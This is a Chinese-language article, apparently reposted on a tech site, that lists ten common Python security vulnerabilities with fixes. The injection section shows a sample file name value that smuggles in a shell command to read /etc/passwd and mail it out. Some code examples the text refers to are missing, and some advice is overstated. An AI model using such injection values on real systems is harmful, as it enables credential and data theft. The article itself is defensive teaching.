当前位置: 首页 > 科技观察

Python常见安全漏洞及修复方法合集!你不知道的都在这里!

时间:2023-03-11 20:58:28 科技观察

概述编写安全代码很困难,当您学习一种编程语言、一个模块或一个框架时,您就学会了如何使用它。在考虑安全性的时候,你需要考虑如何避免你的代码被滥用,Python也不例外,即使在标准库中,也有很多不好的例子。然而,许多Python开发人员根本不知道这一点。以下是我总结的10个常见的Python安全漏洞,排名不分先后。1.输入注入注入攻击影响范围广泛,非常普遍。注入的类型很多,它们会影响所有语言、框架和环境。在直接编写SQL查询(而不是使用ORM)时,SQL注入将字符串与变量混合在一起。我读过很多代码,其中“引号字符转义”应该是一个修复,但它不是,并且可以通过SQL注入一直发生。当使用popen、subprocess、os.system调用进程并从变量获取参数时,可能会发生命令注入,当调用本机命令时,有人可能会将某些值设置为恶意值。这是一个简单的脚本(链接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),它使用用户提供的文件名调用子进程:攻击者将设置值文件名设置为“;cat/etc/passwd|mailthem@domain.com或其他同样危险的东西。修复:如果您使用的是网络框架,请使用包含的实用程序清理输入,除非有充分的理由,否则不要不要手动构建SQL查询,大多数ORM都有内置的清理方法。对于shell,使用shlex模块正确地转义输入。2.解析XML如果您的应用程序加载和解析XML文件,您可能正在使用XML标准库模块。有一些针对XML的常见攻击。大多数是DoS样式(旨在破坏系统而不是窃取数据)。这些攻击非常常见,尤其是在解析外部(即不受信任的)XML文件时。其中一种攻击是“billionlaughs”,因为加载的文件包含许多(数十亿)“lols”。您可以加载XMLentity文件,当XML解析器试图将这个XML文件加载到内存中时,它会消耗大量的G内存。试试看:-)另一种攻击使用外部实体扩展。XML支持从外部URL引用实体,XML解析器通常直接获取和加载该资源。“攻击者可以绕过防火墙访问机密资源,因为所有请求都是来自内部受信任的IP地址,而不是来自外部。”另一种需要考虑的情况是当您依赖第三方软件包来解码XML时,例如配置文件,远程API。您甚至不知道您的依赖项之一已受到攻击。那么在Python中会发生什么?标准库模块etree、DOM、xmlrpc都容易受到这些类型的攻击。具体可以参考这个链接:https://docs.python.org/3/library/xml.html#xml-vulnerabilities修复方法:直接用defusedxml替换标准(链接:https://pypi.org/project/defusedxml/)库模块。它增加了针对此类攻击的安全保护。3、assert语句不要使用assert语句来阻止用户访问特定的代码段。例如:默认情况下,Python以__debug__true执行脚本,但在实际环境中,通常以优化运行,这将跳过assert语句并直接转到安全代码,无论用户是否为is_admin。修复:仅在单元测试中使用断言语句。4.定时攻击定时攻击本质上是一种通过计算和比较提供一个值所需的时间来暴露行为和算法的方式。定时攻击需要精度,因此它们通常不能用于高延迟的远程网络。由于大多数Web应用程序都涉及可变延迟,因此几乎不可能编写针对HTTPWeb服务器的定时攻击。但是,如果您的应用程序具有提示输入密码的命令行,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。示例参考链接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/这里有一个基于SSH定时攻击的Python工具,大家可以看看如何使用.链接:https://github.com/c0r3dump3d/osueta修复:使用Python3.5中引入的secrets.compare_digest来比较密码和其他秘密值。5.感染站点包或导入路径Python的导入系统非常灵活。当您对测试程序进行猴子修补或重载核心功能时,它非常方便。但它也是Python最大的安全漏洞之一。将第三方包安装到站点包中,无论是在虚拟环境中还是在全局站点包中,都会使您面临安全风险。发布到PyPi的包与流行包的名称相似,但执行任意代码。幸运的是,这可能不会造成太大伤害,它只是“表明”问题并没有真正得到解决。另一种需要考虑的情况是多层依赖。它们可能包含错误,并且还可以通过导入系统覆盖Python默认行为。修复:您可以使用网站PyUp.io提供的工具检查您的第三方包。使用虚拟环境,确保您的全局站点包尽可能干净。检查包签名。6.临时文件要在Python中创建临时文件,通常使用mktemp()函数生成一个文件名,然后使用该名称创建一个文件。“这是不安全的,因为另一个进程可能会在调用mktemp()和随后尝试通过第一个进程创建文件之间的间隙中创建同名文件。”这意味着应用程序可能会加载错误的数据或公开其他临时数据。如果调用不正确,最新版本的Python会发出运行时警告。解决方法:如果需要生成临时文件,请使用tempfile模块并使用mkstemp。(参考链接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)7.使用yaml.load这里参考PyYAML文档:Warning:callyamlwithdatafromanuntrusted来源。负载不安全!yaml.load与pickle.load一样强大,因此可以调用任何Python函数。在流行的Python项目Ansible(链接:https://www.talosintelligence.com/reports/TALOS-2017-0305)中找到了一个示例,您可以将此值作为(有效的)YAML提供给AnsibleVault,它调用os.system与文件中提供的参数。因此,从用户提供的值加载YAML文件会使应用程序容易受到攻击。修复:总是使用yaml.safe_load除非你有更好的方法。8.Pickle漏洞使用pickle反序列化数据与YAML一样糟糕。腌制对象时,Python类可以声明一个名为__reduce__的魔术方法,该方法返回一个字符串或一个元组。攻击者可以使用它来引用其中一个子进程模块以在主机上运行任意命令。下面是一个在Python2中pickle类并打开shell的示例(链接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。有关利用pickle漏洞的更多方法,请参阅此链接:https://lincolnloop.com/blog/playing-pickle-security/修复:切勿使用pickle反序列化不受信任或未经身份验证的数据。请改用其他序列化方案,例如JSON。9.使用系统自带的Python而不修补bug大多数便携式操作系统都带有Python2,通常是旧版本。由于“Python”,即CPython,是用C语言编写的,Python解释器本身很容易受到攻击。C中一个常见的安全问题与内存分配有关,因此存在缓冲区溢出错误。多年来,CPython中存在多个溢出漏洞,每个漏洞都在后续版本中修复。也就是说,如果您修补Python本身的漏洞,您就安全了。这是Python2.7.13及以下版本中整数溢出漏洞的示例,链接:https://www.cvedetails.com/cve/CVE-2017-1000158/。Ubuntu17以前版本的Python漏洞请参考链接:https://distrowatch.com/table.php?distribution=ubuntu修复方法:安装最新版本的Python,及时修补漏洞。10、不修补依赖包的漏洞和修补Python自身的漏洞一样,你也需要定期修补依赖包的漏洞。有些人习惯于使用“固定”版本的PyPi包,这是一种可怕的做法。他们认为“这些是有用的构建”,所以每个人都对这个错误充耳不闻。如果您使用的软件包中存在上述所有漏洞,那么它们也是致命的。这些软件包的开发人员不断解决安全问题。修复:使用PyUP.io之类的服务来检查更新、向应用程序发送拉取/合并请求、运行测试并保持包更新。使用InSpec(链接:https://www.inspec.io/docs/reference/resources/pip/)之类的工具验证真实环境中安装的版本,确保最低版本或多个连续版本已打补丁。